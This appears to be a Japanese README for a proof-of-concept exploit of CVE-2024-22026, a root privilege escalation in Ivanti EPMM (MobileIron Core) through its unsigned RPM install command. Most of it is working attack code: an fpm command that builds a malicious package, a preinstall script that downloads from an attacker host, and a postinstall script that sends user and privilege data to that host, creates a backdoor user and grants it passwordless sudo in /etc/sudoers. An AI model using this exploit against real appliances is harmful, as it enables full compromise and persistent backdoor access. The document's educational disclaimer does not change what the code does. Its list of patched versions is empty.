Ivanti EPMM「MobileIron Core」に影響するCVE-2024-22026のエクスプロイトPOC

CVE-2024-22026 は、Ivanti EPMM(旧 MobileIron)サーバーのバージョン 12.1.0.0、12.0.0.0、11.12.0.1 より前のバージョンに存在するローカル権限昇格の脆弱性です。この脆弱性により、ローカルの攻撃者は、リモート URL から取得した悪意のある RPM パッケージを用いてソフトウェア更新プロセスを悪用し、システムへの root アクセスを獲得できます。
詳細な技術情報については、こちらのブログ記事をお読みください: CVE-2024-22026 の悪用: Ivanti EPMM(MobileIron Core)のルート化
調査中に、このアプライアンスが低権限ユーザーとして RPM パッケージを取得・インストールするために以下のコマンドを使用していることを発見しました:
install rpm url <remote url>
上記のコマンドは、root として実行される以下の処理を呼び出すだけの CLI ラッパーです
/bin/rpm -Uvh *.rpm
この基盤となる rpm コマンドは、署名検証や URL フィルタリングを実施しないため、任意の RPM パッケージをインストールすることができます。これにより、攻撃者はアプライアンスを侵害する悪意のある RPM パッケージを偽造して配信できます。
以下のコマンドで悪意のある RPM パッケージを作成します:
fpm -s dir -t rpm -n ivanti-privesc -v 13.37 -a i386 --description "Ivanti POC" --maintainer "exploit-poc" --before-install preinstall.sh --after-install postinstall.sh -C .
preinstall.sh)#!/bin/sh
curl -O http://<attacker_IP>/poc
exit 0
postinstall.sh)#!/bin/sh
set -e # Enable strict error checking
# Report back current user and privilege level
CURRENT_USER=$(whoami | base64)
PRIV_LEVEL=$(id -u | base64)
curl http://<attacker_IP>/poc?user=$CURRENT_USER
curl http://<attacker_IP>/poc?priv=$PRIV_LEVEL
# Create a new root user
if ! useradd -s /bin/sh -m exploit-poc; then
echo "Failed to add user 'exploit-poc'" >&2
exit 1
fi
echo "exploit-poc:<redacted_password>" | chpasswd
# Grant root privileges
if ! echo "exploit-poc ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; then
echo "Failed to modify sudoers file" >&2
exit 1
fi
exit 0
この脆弱性を悪用するには、攻撃者は CLI で以下のコマンドを実行して、悪意のある RPM を取得・インストールします:
install rpm url http://<attacker_IP>/ivanti-privesc-13.37-1.i386.rpm
Ivanti は、CVE-2024-22026 に対処するパッチを以下のバージョンでリリースしています:
このリポジトリおよびその内容は、教育および研究目的のみを意図しています。本情報の利用は自己責任で行ってください。